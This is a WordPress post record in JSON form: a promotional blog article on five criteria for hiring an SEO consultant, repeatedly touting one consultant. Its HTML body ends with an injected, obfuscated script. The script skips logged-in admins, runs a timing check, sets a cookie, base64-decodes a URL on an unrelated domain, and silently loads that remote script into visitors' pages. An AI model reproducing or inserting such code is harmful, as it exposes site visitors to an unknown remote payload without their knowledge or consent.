{"id":728,"date":"2018-01-19T07:46:18","date_gmt":"2018-01-19T07:46:18","guid":{"rendered":"https:\/\/www.traininginseo.in\/blog\/?p=728"},"modified":"2025-10-29T10:02:31","modified_gmt":"2025-10-29T04:32:31","slug":"5-things-you-need-to-understand-before-you-hire-an-seo-consultant","status":"publish","type":"post","link":"https:\/\/www.traininginseo.in\/blog\/5-things-you-need-to-understand-before-you-hire-an-seo-consultant\/","title":{"rendered":"5 things you need to understand before you hire an SEO Consultant"},"content":{"rendered":"<!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/REC-html40\/loose.dtd\">\n<html><body data-rsssl=1><p><span style=\"font-weight: 400;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-729\" src=\"https:\/\/www.traininginseo.in\/blog\/wp-content\/uploads\/2018\/01\/seo-consultant.png\" alt=\"Hire SEO Consultant\" width=\"750\" height=\"284\">If you want to increase the ranking in Google or other search engines by getting huge traffic, then you definitely need a Search Engine Optimization (SEO). The main profile of SEO is to make the website in a proper direction. Bill Gates, the founder of Microsoft said \u201cIf your business is not on internet, then your business will be out of business\u201d. Hiring a SEO \u00a0Consultant will help to increase the growth and visibility of the business on the web.<\/span><br>\n<span style=\"font-weight: 400;\">Following features are very essential for a SEO consultant such as:-<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400;\"><b>Impression<\/b><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">You need to investigate the candidate experience in social media channels, blogs and various reviews, which can be demonstrated through their past success work. There is a great saying \u201cExperience makes the man a perfect\u201d, which is an essential need while selecting a SEO. There are many <a href=\"https:\/\/www.shoutnhike.com\/seo-digital-marketing-consulting\/\" data-link=\"https:\/\/www.shoutnhike.com\/seo-digital-marketing-consulting\/\" data-button=\"LinkPreview\" id=\"1\"><b>SEO consultants in Ahmedabad<\/b><\/a>.<\/span><br>\n<span style=\"font-weight: 400;\">Chirag shah is Google AdWords and Analytics Certified professional with 10+ years of experience. He has 8+ recommendations on Linkedin and 1000+ followers in Linkedin as well.<\/span><\/p>\n<ol start=\"2\">\n<li><b>Ranking improvement for the past clients<\/b><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">Review how he has helped past clients with ranking improvement and contact at least 2 of them who are in your niche or nearer to your niche and decide only then.<\/span><br>\n<span style=\"font-weight: 400;\">You will find list of client Chirag Shah helped so far in the Google spreadsheet here.<\/span><br>\n<a href=\"https:\/\/goo.gl\/8gxgZ9\" data-link=\"https:\/\/goo.gl\/8gxgZ9\" data-button=\"LinkPreview\" id=\"2\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-738\" src=\"https:\/\/www.traininginseo.in\/blog\/wp-content\/uploads\/2018\/01\/ShoutnHike-com-Portfolio-Google-Sheets.png\" alt=\"ShoutnHike com Portfolio Google Sheets\" width=\"1008\" height=\"779\"><\/a><br>\n<a href=\"https:\/\/www.traininginseo.in\/demo-lecture\/\" data-link=\"https:\/\/www.traininginseo.in\/demo-lecture\/\" data-button=\"LinkPreview\" id=\"3\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-461\" src=\"https:\/\/www.traininginseo.in\/blog\/wp-content\/uploads\/2017\/06\/02-CTA-V2-copy.jpg\" alt=\"Want to step up your career and business growth?\" width=\"753\" height=\"329\"><\/a><\/p>\n<ol start=\"3\">\n<li><b>Strategy and process<\/b><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">SEO consultant must have a process for all the activities (for example keyword research, page on page, site on page, conversion optimization, Google analytics set up, Google Adwords set up, Google adwords optimization etc\u2026) they are doing with proven records. Review them to make sure your work will be done with proven process and strategy.<\/span><br>\n<span style=\"font-weight: 400;\">Chirag shah has helped 1000+ clients with 100+ proven process and strategies for all the activities falls under digital marketing. <\/span><\/p>\n<ol start=\"4\">\n<li><b>Client Portfolio<\/b><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">To get the information about the SEO\/Digital Marketing Consultant is to get the company\u2019s background and work experience. The projects done by the him will describe the exact information about the client work during their tenure.<\/span><br>\n<span style=\"font-weight: 400;\">Chirag shah has helped 1000+ clients that you will find from the clients portfolio for the <a href=\"https:\/\/www.alakmalak.com\/seo_portfolio\/\" rel=\"no follow\" data-link=\"https:\/\/www.alakmalak.com\/seo_portfolio\/\" data-button=\"LinkPreview\" id=\"4\">Digital marketing portfolio page<\/a>, he has worked as a Digital marketing head for 10+ years.<\/span><\/p>\n<ol start=\"5\">\n<li><b>Price<\/b><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">Hiring an <a href=\"https:\/\/www.linkedin.com\/in\/shahchiragg\/\" data-link=\"https:\/\/www.linkedin.com\/in\/shahchiragg\/\" data-button=\"LinkPreview\" id=\"5\">SEO consultant<\/a> plays a crucial role. Mostly SEO consultant works in two pricing: hourly or monthly (fixed price). In hourly pricing, the consultant charge on the basis of hour and later after getting satisfaction it can be done on fixed price. Before hiring you need to check certain things such as,<\/span><br>\n<a href=\"https:\/\/www.traininginseo.in\/demo-lecture\/\" data-link=\"https:\/\/www.traininginseo.in\/demo-lecture\/\" data-button=\"LinkPreview\" id=\"6\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-443\" src=\"https:\/\/www.traininginseo.in\/blog\/wp-content\/uploads\/2017\/09\/05-CTA-V3-copy.jpg\" alt=\"Are you confused about digital marketing?\" width=\"753\" height=\"329\"><\/a><\/p>\n<ol>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">How they are going to charge you?<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Will it be as per project or hourly or monthly?<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">How much you need to pay to agency and when?<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Do you need to pay advance amount before starting the project?<\/span><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">Chirag shah gives you FREE Demo as soon as you fill SEO\/Digital marketing Questionnaire and then give quote inline with your objectives + effort he has to give to achieve that goal. There is no predefined amount and varies from clients to clients.<\/span><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"<p>If you want to increase the ranking in Google or other search engines by getting huge traffic, then you definitely need a Search Engine Optimization (SEO). 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